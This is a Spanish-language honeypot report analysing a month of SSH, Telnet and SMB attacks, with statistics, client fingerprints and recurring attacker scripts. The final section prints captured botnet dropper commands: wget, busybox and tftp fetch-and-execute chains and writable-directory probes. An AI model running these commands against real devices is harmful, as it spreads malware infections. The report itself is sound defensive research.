Análisis del señuelo
2026-08-22 11:20 a 2026-09-21 10:22 · generado el 2026-09-21 10:57 UTC desde respaldo
ANALISIS/ttp.tsv. Ninguna muestra se ha ejecutado: de los binarios solo se lee el contenido para calcular su hash.<IP-PAÍS-NNN>): la misma IP lleva la misma etiqueta en todo el informe, y el número no dice nada más. Las del señuelo van como [IP VPS]. Sin rutas locales y sin el cuerpo de 1 clave privada.Todas las fechas y horas de este informe van en UTC, incluidas las de las tablas. Cowrie firma sus marcas con una "Z", pero escribe la hora local del contenedor, así que se reinterpretan como Europe/Kyiv y se convierten a UTC al leerlas; sin esa corrección, las marcas saldrían corridas y con pinta de correctas. Dionaea sí guarda UTC de verdad.
1. Lo que este informe no puede saber
- El país de una IP no es el país de quien ataca. La geolocalización es aproximada y sale de una tabla pública; una VPN, un proxy o una máquina ajena ya comprometida salen con el país de la máquina, no con el de la persona.
- Una IP no es una persona ni un actor. Detrás de una dirección puede haber una red entera con NAT, y un mismo operador puede ir rotando por cientos de direcciones. Cuando aquí se habla de "IPs distintas", se habla solo de direcciones.
- Cowrie emula un shell. Lo que se ve es lo que el atacante hizo contra un señuelo: qué habría hecho en una máquina de verdad no se puede saber, y hay herramientas que se van en cuanto algo no responde como esperan.
- Unos días de datos no son una tendencia. Sirven para describir este periodo, no para decir que algo sube o baja.
- Esto es una máquina, en un proveedor, en un país. Lo que recibe un señuelo depende del rango en el que esté; no es una muestra de todo internet.
- Lo que Cowrie no pudo decodificar se perdió antes de llegar aquí. Los bytes que anotó como carácter de reemplazo no están en el registro y no hay forma de recuperarlos.
- La columna ATT&CK es interpretación nuestra, y la única del informe: sale de
ttp.tsv, que escribimos a mano.
172.20.0.1, que no es una dirección de internet, sino el propio señuelo hablando consigo mismo: al probarlo desde la VPS, la conexión entra por la puerta de enlace del puente de Docker y Cowrie la anota como una sesión más, con sus logins y sus órdenes. No es un ataque y no cuenta en nada de lo que sigue. El reporter ya las descartaba por su cuenta (ipguard), así que nunca se ha denunciado a nadie por esto.2. Resumen
Cuánto llegó. Una participación es un contacto con cualquiera de los dos señuelos, y el total es la suma de los dos: 1.219.272 en total.
Cowrie y Dionaea los dos señuelos, cada parte en su propia unidad
Qué hicieron. Esta es la cifra que separa la actividad real del ruido de fondo. Las dos proporciones van aparte porque no están en la misma unidad: una cuenta sesiones y la otra intentos de credencial.
Solo Cowrie la barra entera son sus 903.579 sesiones: Dionaea no emula ningún shell y ahí no hay nada que teclear
Solo Cowrie es el único del que se cuentan logins; de Dionaea solo se cuentan conexiones
- 587.482 órdenes tecleadas en total, una media de 17 por sesión entre las que teclean
- Un login correcto es alguien que acertó una de las credenciales que pusimos nosotros a propósito
Quién. Cuántas IPs distintas hay detrás de esas participaciones. Una IP distinta es una dirección, participe una vez o mil.
- 10.643 IPs distintas, desde 154 países
- Una media de 115 participaciones por IP
- 290 de ellas tocaron los dos señuelos, que están en direcciones públicas distintas
Qué hicimos nosotros. La única cifra del resumen que no habla de los atacantes, sino de nuestra reacción: 115 IPs baneadas , según la memoria del bot.
Cortafuegos de dónde salió cada baneo lo dice el comentario de la regla en nftables, no la memoria del bot: ahí banned es una lista sin más
Lo que de verdad dicen esos números:
- El 3,9% de las sesiones llega a teclear algo (34.996 de 903.579)
- El resto prueba credenciales y se va. Esa es la cifra que conviene citar: el total de sesiones mide el ruido de fondo de internet, no la actividad real contra el señuelo
- Intentos de login que acertaron la credencial: 1.870
De esos 154 países, 19 aparecen con una sola IP y no salen en ninguna tabla ni en ningún esquema: los de arriba se llevan el volumen, pero la lista larga también atacó. Y 1 no se ha podido localizar.
2.1 Todos los países que han atacado
- Los 154 países en total que han participado, incluidos los que no caben en ningún esquema
- De cada uno: sus IPs distintas y sus órdenes tecleadas
- 19 aparecen con una sola IP
Elige cómo ordenarlo:
Destaca siempre aquello por lo que se ordena: el nombre en el orden alfabético, y la cifra correspondiente en los otros dos. Las demás cifras se quedan en gris a la derecha: se pueden comparar, pero no compiten con la que manda. La reordenación la hace el navegador con CSS, sin JavaScript: al copiar y pegar en un documento sale siempre en orden alfabético, que es como está escrito el fichero.
La memoria del bot guarda 309 guiones, 990 IPs, 111 muestras y 2 credenciales, y caduca a los 30 días con tope de 5.000 IPs. Los recuentos de arriba salen de cowrie.json, que es el que no olvida.
2.2 Cuándo han atacado más
Qué se puede ver aquí:
- Participaciones totales, los dos señuelos juntos
- Participaciones solo vía Cowrie (SSH y Telnet)
- Participaciones solo vía Dionaea (SMB, MSSQL y RPC)
Decimos participaciones y no "ataques" porque lo que se registra es muy distinto entre sí: unos fallan el login y se van, otros entran y no hacen nada, y otros entran y sueltan un binario. Llamarlo "ataques" daría a entender que todos consiguieron algo. Una participación es un contacto con el señuelo: una sesión en Cowrie o una conexión en Dionaea.
Cómo se lee el gráfico:
- Eje horizontal (X): los días, uno por barra. Arriba el día del mes y la inicial del día de la semana (L, M, X, J, V, S, D), abajo el mes
- Eje vertical (Y): las participaciones de ese día
- Las barras más oscuras son los días de más actividad
- Pasando el ratón por una barra salen su fecha y su cifra exacta
Elige qué visualizar:
- Total del periodo: 1.219.272 participaciones en 31 días
- Media: 39.331 participaciones al día
- Día más movido: 7 de septiembre, con 104.556 participaciones
- Ese día fue 2,7 veces la media
- Total del periodo: 903.579 sesiones en 31 días
- Media: 29.147 sesiones al día
- Día más movido: 7 de septiembre, con 84.887 sesiones
- Ese día fue 2,9 veces la media
- Total del periodo: 315.693 conexiones en 31 días
- Media: 10.183 conexiones al día
- Día más movido: 3 de septiembre, con 28.474 conexiones
- Ese día fue 2,8 veces la media
2.3 A qué hora
- La hora más movida: las 23:00 UTC, con 67.052 participaciones
- La más tranquila: las 14:00 UTC, con 35.088 participaciones
- La hora más movida tiene 1,9 veces la actividad de la más tranquila, sobre una media de 50.803 por hora
Aquí importa menos la hora punta que lo parecidas que son las veinticuatro. Un reparto plano indica automatización, porque las máquinas no duermen. Si la actividad se concentrara en unas ocho horas, apuntaría a personas con horario, y eso sería lo llamativo.
2.4 Cuánto duran
- La mitad de las sesiones dura menos de 1,3 s
- Nueve de cada diez, menos de 5,9 s
- La más larga duró 51 min 29 s
Solo Cowrie Dionaea cuenta conexiones sueltas, no sesiones con principio y final; la duración es de las 902.690 sesiones de Cowrie que la traen
2.5 De dónde: desde cuántos sitios distintos
Qué se puede ver aquí:
- IPs distintas totales, los dos señuelos juntos
- Solo las de Cowrie (SSH y Telnet)
- Solo las de Dionaea (SMB, MSSQL y RPC)
Una IP distinta es una dirección desde la que llegó al menos una participación. Si la misma dirección participa mil veces, cuenta una. Por eso esta figura mide algo distinto de la siguiente: aquí se ve desde cuántos sitios se ataca, y en la siguiente cuánto insiste cada uno.
Cómo se lee el gráfico:
- Cada triángulo es un país, y van repartidos en círculo
- El área del triángulo es proporcional a sus IPs. Se escala el área y no el lado, porque escalando el lado el doble se vería cuatro veces más grande
- En el centro, cuántas IPs suman los países dibujados y cuántos países quedan fuera
- Pasando el ratón por un triángulo sale su cifra exacta
Elige qué visualizar:
- Total: 10.642 IPs distintas (los dos señuelos), en 154 países
- No entran en la figura: 1 IP que la tabla de países no localiza
- El que más: 🇺🇸 Estados Unidos, con 1.443 IPs
- Quedan fuera del dibujo: 130 países con menos IPs (están todos en la lista de arriba)
- Total: 7.969 IPs distintas (Cowrie), en 151 países
- El que más: 🇺🇸 Estados Unidos, con 1.114 IPs
- Quedan fuera del dibujo: 127 países con menos IPs (están todos en la lista de arriba)
- Total: 2.963 IPs distintas (Dionaea), en 111 países
- No entran en la figura: 1 IP que la tabla de países no localiza
- El que más: 🇺🇸 Estados Unidos, con 513 IPs
- Quedan fuera del dibujo: 87 países con menos IPs (están todos en la lista de arriba)
2.6 Quién trabaja de verdad
Qué se puede ver aquí:
- Actividad total, sumando los dos señuelos
- Solo las órdenes tecleadas en Cowrie
- Solo las conexiones a Dionaea
Una orden es cada línea que el atacante teclea ya dentro del señuelo. Una conexión es cada vez que se toca un puerto de Dionaea. Son cosas distintas y no se pueden comparar entre sí, pero sí se pueden sumar para saber qué país está más activo, y por eso el total lleva el desglose en cada barra.
Cómo se lee el gráfico:
- Cada barra es un país, de más a menos actividad
- Al final de la barra, su cifra; debajo, de qué se compone y desde cuántas IPs distintas sale
- Arriba, las dos llaves dicen qué es cada columna, y cambian con la pestaña que elijas
- Mucha actividad con pocas IPs es alguien trabajando; muchas IPs con poca actividad es un barrido automático
Elige qué visualizar:
- Total: 903.154 acciones desde 118 países
- No entran en la figura: 21 acciones de IPs que la tabla de países no localiza
- El que más: 🇵🇰 Pakistán, con 423.761 acciones, el 47% del total
- Y lo hace desde 330 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 1.443
- Quedan fuera del dibujo: 103 países con menos actividad
- Total: 587.482 órdenes desde 72 países
- El que más: 🇵🇰 Pakistán, con 417.669 órdenes, el 71% del total
- Y lo hace desde 285 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 1.114
- Quedan fuera del dibujo: 57 países con menos actividad
- Total: 315.672 conexiones desde 111 países
- No entran en la figura: 21 conexiones de IPs que la tabla de países no localiza
- El que más: 🇷🇺 Rusia, con 52.832 conexiones, el 17% del total
- Y lo hace desde 208 IPs, cuando el país que más IPs usa es 🇺🇸 Estados Unidos, con 513
- Quedan fuera del dibujo: 96 países con menos actividad
- Aquí no hay órdenes: Dionaea no emula ningún shell, así que lo único contable es cuántas veces se tocó un puerto
2.7 Protocolos: por dónde entran
Qué se puede ver aquí:
- El reparto entre todos los protocolos, en un pastel
- Solo Telnet (puerto 23): los países que más lo atacan
- Solo SMB (puerto 445): los países que más lo atacan
- Solo SSH (puerto 22): los países que más lo atacan
- Solo MSSQL (puerto 1433): los países que más lo atacan
- Solo RPC (puerto 135): los países que más lo atacan
Los puertos son los públicos, no los internos del contenedor: Cowrie escucha en 2222 y 2223, pero quien ataca marcó el 22 y el 23. Un contacto es una participación contra ese puerto.
Cómo se leen:
- En el pastel, el porcentaje va dentro del trozo y la cifra exacta en la leyenda
- En las barras, cada una es un país, de más a menos
- Muchos contactos y pocos países es una botnet concreta; muchos de los dos es ruido de fondo de internet
Elige qué visualizar:
- Total: 1.219.272 contactos en 5 protocolos
- El más atacado: Telnet (puerto 23), con 749.523 contactos (el 61%)
- El que atacan desde más países: SSH (puerto 22), desde 145 países
- Total: 749.523 contactos contra Telnet (puerto 23)
- Desde: 126 países
- El que más: 🇵🇰 Pakistán, con 381.982 contactos (el 51%)
- Quedan fuera del dibujo: 111 países con menos contactos
- Total: 308.856 contactos contra SMB (puerto 445)
- Desde: 104 países
- El que más: 🇷🇺 Rusia, con 52.779 contactos (el 17%)
- Quedan fuera del dibujo: 89 países con menos contactos
- Total: 154.056 contactos contra SSH (puerto 22)
- Desde: 145 países
- El que más: 🇺🇸 Estados Unidos, con 49.896 contactos (el 32%)
- Quedan fuera del dibujo: 130 países con menos contactos
- Total: 5.440 contactos contra MSSQL (puerto 1433)
- Desde: 79 países
- El que más: 🇭🇰 Hong Kong, con 2.299 contactos (el 42%)
- Quedan fuera del dibujo: 64 países con menos contactos
- Total: 1.397 contactos contra RPC (puerto 135)
- Desde: 31 países
- El que más: 🇺🇸 Estados Unidos, con 981 contactos (el 70%)
- Quedan fuera del dibujo: 16 países con menos contactos
3. Actores: los guiones que se repiten
Un guion es el conjunto de órdenes ya normalizadas (URLs, IPs, hexadecimales y números largos sustituidos) que se repite entre sesiones. Que dos IPs compartan guion dice que usan la misma herramienta; no dice que sean el mismo actor.
| Guion | IPs | Sesiones | Órdenes | Órdenes por IP | Primera vez | Última vez | Países (IPs) |
|---|---|---|---|---|---|---|---|
e56f5556b768 | 112 | 128 | 4.619 | 41 | 2026-09-01 08:51 | 2026-09-21 06:59 | 🇺🇦 52 🇨🇳 11 🇷🇺 8 🇮🇹 7 |
96b7a2c94703 | 83 | 90 | 3.538 | 42 | 2026-08-23 20:30 | 2026-09-20 22:56 | 🇺🇦 37 🇨🇳 29 🇮🇷 4 🇷🇺 3 |
7ab552f01de9 | 56 | 133 | 133 | 2 | 2026-08-22 14:58 | 2026-09-21 10:19 | 🇳🇱 22 🇺🇸 21 🇫🇷 13 |
2d50aaadc233 | 41 | 42 | 42 | 1 | 2026-09-06 16:55 | 2026-09-11 08:22 | 🇺🇸 8 🇮🇳 5 🇮🇩 4 🇷🇺 3 |
4dd379d2cd85 | 37 | 39 | 390 | 10 | 2026-08-22 11:54 | 2026-09-15 19:41 | 🇮🇹 15 🇮🇳 5 🇰🇷 3 🇹🇼 3 |
1b66b7c0ce68 | 36 | 39 | 897 | 24 | 2026-08-24 01:23 | 2026-09-13 20:34 | 🇺🇸 7 🇨🇳 5 🇸🇬 3 🇭🇰 3 |
2e66008255ae | 36 | 37 | 518 | 14 | 2026-08-22 12:12 | 2026-09-14 11:29 | 🇨🇳 12 🇮🇹 4 🇺🇦 3 🇷🇴 2 |
d76a6da1beb0 | 24 | 26 | 947 | 39 | 2026-08-23 17:24 | 2026-09-20 18:54 | 🇷🇺 4 🇮🇹 3 🇨🇳 3 🇧🇷 2 |
58fdeea7f78d | 22 | 23 | 910 | 41 | 2026-08-26 21:34 | 2026-09-11 21:40 | 🇨🇳 11 🇵🇰 2 🇹🇼 2 🇧🇷 1 |
feef62c9a2bc | 18 | 18 | 180 | 10 | 2026-08-22 20:33 | 2026-09-21 06:05 | 🇸🇪 4 🇨🇳 3 🇰🇷 3 🇷🇺 2 |
5e4118608095 | 17 | 67 | 938 | 55 | 2026-08-22 11:39 | 2026-08-25 07:29 | 🇨🇳 17 |
222f895449cb | 16 | 43 | 1.118 | 69 | 2026-09-10 19:48 | 2026-09-21 01:20 | 🇳🇱 12 🇦🇩 4 |
6fa4c8ac58e7 | 14 | 14 | 14 | 1 | 2026-08-28 07:49 | 2026-09-20 18:26 | 🇨🇳 11 🇺🇸 1 🇭🇰 1 🇦🇹 1 |
a907ec7650e4 | 13 | 43 | 3.741 | 287 | 2026-08-28 20:56 | 2026-09-05 22:26 | 🇳🇱 9 🇦🇩 4 |
c3b73fff024c | 12 | 28 | 2.688 | 224 | 2026-08-23 22:37 | 2026-08-28 07:39 | 🇳🇱 9 🇦🇩 3 |
87ac87184549 | 12 | 12 | 276 | 23 | 2026-09-14 19:49 | 2026-09-21 06:59 | 🇺🇸 2 🇩🇪 1 🇮🇳 1 🇪🇪 1 |
6c56870dc696 | 11 | 21 | 210 | 19 | 2026-09-07 19:48 | 2026-09-10 13:18 | 🇳🇱 8 🇦🇩 3 |
be50f2298a50 | 8 | 247 | 2.223 | 277 | 2026-08-22 23:22 | 2026-09-18 20:01 | 🇺🇸 3 🇸🇬 2 🇲🇾 1 🇿🇦 1 |
12d460cca6e9 | 8 | 9 | 36 | 4 | 2026-08-27 10:20 | 2026-09-21 05:49 | 🇺🇦 2 🇷🇺 2 🇹🇷 1 🇷🇸 1 |
ea0bda06a6d9 | 8 | 8 | 3.104 | 388 | 2026-09-15 12:51 | 2026-09-19 19:04 | 🇨🇳 5 🇮🇹 1 🇨🇿 1 🇻🇳 1 |
2cae85b8b535 | 7 | 671 | 5.368 | 766 | 2026-08-22 15:22 | 2026-09-15 10:42 | 🇺🇸 7 |
096b254d18b7 | 7 | 7 | 287 | 41 | 2026-08-22 12:43 | 2026-08-23 04:01 | 🇿🇦 1 🇦🇷 1 🇷🇺 1 🇺🇦 1 |
ddbb24011620 | 7 | 7 | 98 | 14 | 2026-08-22 14:27 | 2026-09-19 23:40 | 🇨🇳 3 🇷🇺 1 🇺🇦 1 🇿🇦 1 |
93c3ba182a92 | 7 | 7 | 168 | 24 | 2026-08-23 15:50 | 2026-09-18 21:38 | 🇰🇷 6 🇲🇴 1 |
2d9fe8175be2 | 7 | 7 | 7 | 1 | 2026-08-24 21:19 | 2026-09-18 14:20 | 🇨🇳 3 🇷🇺 1 🇻🇳 1 🇮🇷 1 |
3.1 Los que más aprietan
Los mismos guiones, ordenados por la media de órdenes por IP en vez de por el número de IPs que los corren. Un guion con pocas IPs y muchísimas órdenes por cada una suele ser alguien que vuelve una y otra vez, no un barrido.
| Guion | IPs | Sesiones | Órdenes | Órdenes por IP | Países (IPs) |
|---|---|---|---|---|---|
7b8032c80bc6 | 1 | 2.658 | 37.212 | 37.212 | 🇵🇰 1 |
b5504015eca5 | 1 | 1.138 | 15.932 | 15.932 | 🇵🇰 1 |
99aae771f818 | 1 | 30 | 14.520 | 14.520 | 🇵🇰 1 |
aeed5d9396f8 | 1 | 615 | 11.685 | 11.685 | 🇵🇰 1 |
44cf8d62e544 | 1 | 646 | 9.044 | 9.044 | 🇵🇰 1 |
f8716cb13aa8 | 1 | 176 | 8.587 | 8.587 | 🇳🇱 1 |
0bdb3cfd24c1 | 1 | 360 | 6.480 | 6.480 | 🇵🇰 1 |
856b6363a916 | 1 | 337 | 6.066 | 6.066 | 🇵🇰 1 |
cfb896d3b177 | 1 | 293 | 5.567 | 5.567 | 🇵🇰 1 |
bacdff4d942a | 1 | 308 | 5.544 | 5.544 | 🇵🇰 1 |
3.2 Cómo se llaman a sí mismas
Muchas órdenes llevan una tira del tipo echo -e "\x4f\x56\x46": la herramienta escribe una palabra byte a byte y espera leerla de vuelta, que es como comprueba que al otro lado hay un shell de verdad y no un dispositivo que ignora lo que recibe. En hexadecimal es ruido; en claro es el nombre que la variante se pone a sí misma o la señal con la que se reconoce.
La orden se enseña tal como llegó en el desplegable de más abajo: esto es una lectura de esa prueba, no una sustitución. Solo se descifran las tiras que salen enteras en texto imprimible: con media palabra legible no se puede leer nada sin adivinar.
| En claro | Tal como va en la orden | Veces | IPs |
|---|---|---|---|
OVFUGZ | \x4f\x56\x46\x55\x47\x5a | 5.316 | 1 |
kami | \x6b\x61\x6d\x69 | 4.048 | 1 |
LLVFUMFN | \x4c\x4c\x56\x46\x55\x4d\x46\x4e | 2.658 | 1 |
AMUGLF | \x41\x4d\x55\x47\x4c\x46 | 2.514 | 6 |
UHDQTY | \x55\x48\x44\x51\x54\x59 | 2.287 | 1 |
GAYFGT | \x47\x41\x59\x46\x47\x54 | 2.163 | 225 |
RKZKAT | \x52\x4b\x5a\x4b\x41\x54 | 1.996 | 4 |
QFHBXD | \x51\x46\x48\x42\x58\x44 | 1.778 | 5 |
GYIYOA | \x47\x59\x49\x59\x4f\x41 | 1.612 | 4 |
NBOWJZ | \x4e\x42\x4f\x57\x4a\x5a | 1.507 | 1 |
XZHYXW | \x58\x5a\x48\x59\x58\x57 | 1.350 | 1 |
MCRWVR | \x4d\x43\x52\x57\x56\x52 | 1.338 | 5 |
DDHSRQ | \x44\x44\x48\x53\x52\x51 | 1.260 | 1 |
SVOYSTGB | \x53\x56\x4f\x59\x53\x54\x47\x42 | 1.257 | 6 |
ZPMKYDYL | \x5a\x50\x4d\x4b\x59\x44\x59\x4c | 1.143 | 1 |
BSOPHM | \x42\x53\x4f\x50\x48\x4d | 1.018 | 4 |
PIGOCTCQ | \x50\x49\x47\x4f\x43\x54\x43\x51 | 998 | 4 |
FEZOYC | \x46\x45\x5a\x4f\x59\x43 | 918 | 7 |
LUCPAWVC | \x4c\x55\x43\x50\x41\x57\x56\x43 | 889 | 5 |
GAY | \x47\x41\x59 | 880 | 1 |
EDENXS | \x45\x44\x45\x4e\x58\x53 | 880 | 2 |
ANQCXU | \x41\x4e\x51\x43\x58\x55 | 871 | 1 |
PFFTWM | \x50\x46\x46\x54\x57\x4d | 820 | 1 |
OCLBPA | \x4f\x43\x4c\x42\x50\x41 | 807 | 2 |
XPFAOH | \x58\x50\x46\x41\x4f\x48 | 807 | 2 |
3.3 Con qué se conectan
La versión del cliente es la cadena que manda el programa del atacante nada más abrir la conexión, antes de probar ninguna credencial. No la elige quien ataca: la pone su herramienta, y por eso dice más de qué está corriendo que las órdenes que teclee después.
- El que más:
SSH-2.0-Go, en 135.316 de 145.401 sesiones con cliente anotado (el 93,1%) - Clientes distintos: 154
| Cliente | Sesiones | IPs distintas |
|---|---|---|
SSH-2.0-Go | 135.316 | 2.003 |
SSH-2.0-libssh_0.9.6 | 2.667 | 150 |
SSH-2.0-AsyncSSH_2.1.0 | 2.361 | 25 |
SSH-2.0-libssh_0.12.0 | 1.590 | 56 |
SSH-2.0-OpenSSH_7.4 | 802 | 574 |
SSH-2.0-AsyncSSH_2.21.1 | 456 | 1 |
SSH-2.0-PuTTY_Release_0.70 | 357 | 3 |
SSH-2.0-libssh_0.10.5 | 177 | 4 |
SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3 | 165 | 6 |
SSH-2.0-libssh_0.11.1 | 147 | 11 |
SSH-2.0-ZGrab ZGrab SSH Survey | 111 | 98 |
SSH-2.0-libssh2_1.11.1 | 102 | 88 |
SSH-2.0-ssh2js1.17.0 | 100 | 1 |
SSH-2.0-Nmap-SSH2-Hostkey | 96 | 16 |
SSH-2.0-9.66 FlowSsh: Bitvise SSH Client (Tun… | 62 | 1 |
SSH-2.0-Granados-1.0 | 61 | 1 |
GET / HTTP/1.1 | 60 | 52 |
SSH-2.0-OpenSSH | 41 | 4 |
SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.8 | 32 | 30 |
SSH-2.0-OPENSSH_7.9 | 30 | 11 |
SSH-2.0-OpenSSH_9.2p1 Debian-2+deb12u2 | 29 | 2 |
SSH-2.0-Fingerprintx-SSH2 | 27 | 27 |
SSH-2.0-libssh_0.7.4 | 26 | 10 |
SSH-2.0-OpenSSH_10.0p2 Debian-7+deb13u4 | 26 | 3 |
MGLNDD_[IP VPS]_22 | 25 | 25 |
El HASSH es el resumen de los algoritmos que el cliente ofrece al negociar la conexión (cifrados, intercambio de claves, MAC y compresión) y del orden en que los ofrece. Lo calcula Cowrie. Dos IPs con el mismo HASSH corren el mismo programa aunque tecleen cosas distintas: esa huella no se cambia sin recompilar o sin cambiar de librería, y el atacante no la ve.
| HASSH | Sesiones | IPs distintas | Se presenta como |
|---|---|---|---|
0a07365cc01fa9fc82608ba4019af499 | 49.948 | 66 | SSH-2.0-Go |
16443846184eafde36765c9bab2f4397 | 24.447 | 225 | SSH-2.0-Go |
98f63c4d9c87edbd97ed4747fa031019 | 16.307 | 52 | SSH-2.0-Go |
3e927d21d5e38eb98fdcbc772e46f311 | 12.591 | 69 | SSH-2.0-Go |
bfd3c5d5d43b99449fd25acd82d2c3d8 | 12.119 | 951 | SSH-2.0-Go |
2ec37a7cc8daf20b10e1ad6221061ca5 | 7.589 | 16 | SSH-2.0-Go |
06ff3615a51b2af343ec22abc8e30bbc | 5.562 | 738 | SSH-2.0-Go |
3c86b175b3d676028ff08e21fa21a715 | 3.621 | 776 | SSH-2.0-Go |
f555226df1963d1d3c09daf865abdc9a | 2.617 | 146 | SSH-2.0-libssh_0.9.6 |
fda360b1b4f4d3455cb75c6e7edb1d11 | 2.341 | 25 | SSH-2.0-AsyncSSH_2.1.0 |
a591c4ddccc960a2da8099958270fc92 | 1.583 | 55 | SSH-2.0-libssh_0.12.0 |
acaa53e0a7d7ac7d1255103f37901306 | 787 | 564 | SSH-2.0-OpenSSH_7.4 |
98ddc5604ef6a1006a2b49a58759fbe6 | 691 | 40 | SSH-2.0-Go |
eff4c24daffc8532c160e86e5f006e53 | 617 | 1 | SSH-2.0-Go |
01ca35584ad5a1b66cf6a9846b5b2821 | 458 | 1 | SSH-2.0-Go |
6262add29fb5b42d27a3463e66d700d9 | 456 | 1 | SSH-2.0-AsyncSSH_2.21.1 |
0425c279610910d2d9aef3b285e59b86 | 357 | 3 | SSH-2.0-PuTTY_Release_0.70 |
146084eb5d16a32ed3ab600ed2c5d773 | 231 | 3 | SSH-2.0-OpenSSH_7.4p1 · SSH-2.0-OpenSSH_8.4… |
4e066189c3bbeec38c99b1855113733a | 227 | 39 | SSH-2.0-Fingerprintx-SSH2 · SSH-2.0-Go |
1f2f2f9b0a736952f743e5490c64c98a | 177 | 4 | SSH-2.0-libssh_0.10.5 |
f1e5e9d24e5e345e8745613bde22d532 | 158 | 1 | SSH-2.0-Go |
03a80b21afa810682a776a7d42e5e6fb | 144 | 9 | SSH-2.0-libssh_0.11.1 |
390ffe68a68c2a2891210413e80689fa | 138 | 4 | SSH-2.0-OpenSSH_8.4p1 Debian-5+deb11u3 |
594c57870d0ec290ad3f328d5116eb18 | 128 | 118 | SSH-2.0-Go |
084386fa7ae5039bcf6f07298a05a227 | 124 | 87 | SSH-2.0-Go |
3.4 Quién corre cada guion
e56f5556b768 : 112 IPs, 128 sesiones, 4.619 órdenes · visto del 2026-09-01 08:51 al 2026-09-21 06:59
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-UA-001> | 🇺🇦 Ucrania | 3 | denunciada |
<IP-IT-001> | 🇮🇹 Italia | 3 | denunciada |
<IP-MT-001> | 🇲🇹 Malta | 2 | denunciada |
<IP-PT-001> | 🇵🇹 Portugal | 2 | denunciada |
<IP-UA-013> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-002> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-003> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-014> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-015> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-016> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-017> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-AL-001> | 🇦🇱 Albania | 2 | denunciada |
<IP-UA-018> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-PK-003> | 🇵🇰 Pakistán | 2 | denunciada |
<IP-RU-008> | 🇷🇺 Rusia | 1 | denunciada |
(y 97 IPs más)
Ver las 34 órdenes de e56f5556b768
enable system system shell shell sh linuxshell linuxshell enablelinuxshell enablelinuxshell ping ;sh echo -e "\x47\x41\x59\x46\x47\x54" cd /proc && cat self/cmdline echo -e "\x47\x41\x59\x46\x47\x54" >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/ >/var/d && chmod 777 /var/d && /var/d && cd /var/ >/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/ >/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/ >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/ >/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/ >/data/d && chmod 777 /data/d && /data/d && cd /data/ >/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/ >/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/ >/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/ >/home/d && chmod 777 /home/d && /home/d && cd /home/ >/root/d && chmod 777 /root/d && /root/d && cd /root/ echo -e "\x47\x41\x59\x46\x47\x54" (wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w wget <URL> -O- echo -e "\x47\x41\x59\x46\x47\x54" echo -e "\x47\x41\x59\x46\x47\x54" echo -e "\x47\x41\x59\x46\x47\x54" (tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t tftp -g <IP> -r tftp -l-
96b7a2c94703 : 83 IPs, 90 sesiones, 3.538 órdenes · visto del 2026-08-23 20:30 al 2026-09-20 22:56
| IP | País | Sesiones con este guion | Estado |
|---|---|---|---|
<IP-UA-019> | 🇺🇦 Ucrania | 3 | denunciada |
<IP-UA-008> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-001> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-020> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-021> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-022> | 🇺🇦 Ucrania | 2 | denunciada |
<IP-UA-023> | 🇺🇦 Ucrania | 1 | denunciada |
<IP-CN-003> | 🇨🇳 China | 1 | denunciada |
<IP-CN-004> | 🇨🇳 China | 1 | denunciada |
<IP-CN-005> | 🇨🇳 China | 1 | denunciada |
<IP-CN-006> | 🇨🇳 China | 1 | denunciada |
<IP-CN-007> | 🇨🇳 China | 1 | denunciada |
<IP-CN-008> | 🇨🇳 China | 1 | denunciada |
<IP-CN-009> | 🇨🇳 China | 1 | denunciada |
<IP-CN-010> | 🇨🇳 China | 1 | denunciada |
(y 68 IPs más)
Ver las 38 órdenes de 96b7a2c94703
enable system system shell shell sh linuxshell linuxshell enablelinuxshell enablelinuxshell ping ;sh echo -e "\x47\x41\x59\x46\x47\x54" cd /proc && cat self/cmdline echo -e "\x47\x41\x59\x46\x47\x54" >/tmp/d && chmod 777 /tmp/d && /tmp/d && cd /tmp/ >/var/d && chmod 777 /var/d && /var/d && cd /var/ >/var/tmp/d && chmod 777 /var/tmp/d && /var/tmp/d && cd /var/tmp/ >/var/run/d && chmod 777 /var/run/d && /var/run/d && cd /var/run/ >/dev/d && chmod 777 /dev/d && /dev/d && cd /dev/ >/dev/shm/d && chmod 777 /dev/shm/d && /dev/shm/d && cd /dev/shm/ >/data/d && chmod 777 /data/d && /data/d && cd /data/ >/etc/d && chmod 777 /etc/d && /etc/d && cd /etc/ >/mnt/d && chmod 777 /mnt/d && /mnt/d && cd /mnt/ >/usr/d && chmod 777 /usr/d && /usr/d && cd /usr/ >/home/d && chmod 777 /home/d && /home/d && cd /home/ >/root/d && chmod 777 /root/d && /root/d && cd /root/ echo -e "\x47\x41\x59\x46\x47\x54" (wget <URL> -O- || busybox wget <URL> -O-) > w; chmod 777 w; ./w; rm -rf w wget <URL> -O- echo -e "\x47\x41\x59\x46\x47\x54" echo -e "\x47\x41\x59\x46\x47\x54" (tftp -g <IP> -r tftp -l- || busybox tftp -g <IP> -r tftp -l-) > t; chmod 777 t; ./t; rm -rf t tftp -g <IP> -r tftp -l- echo -e 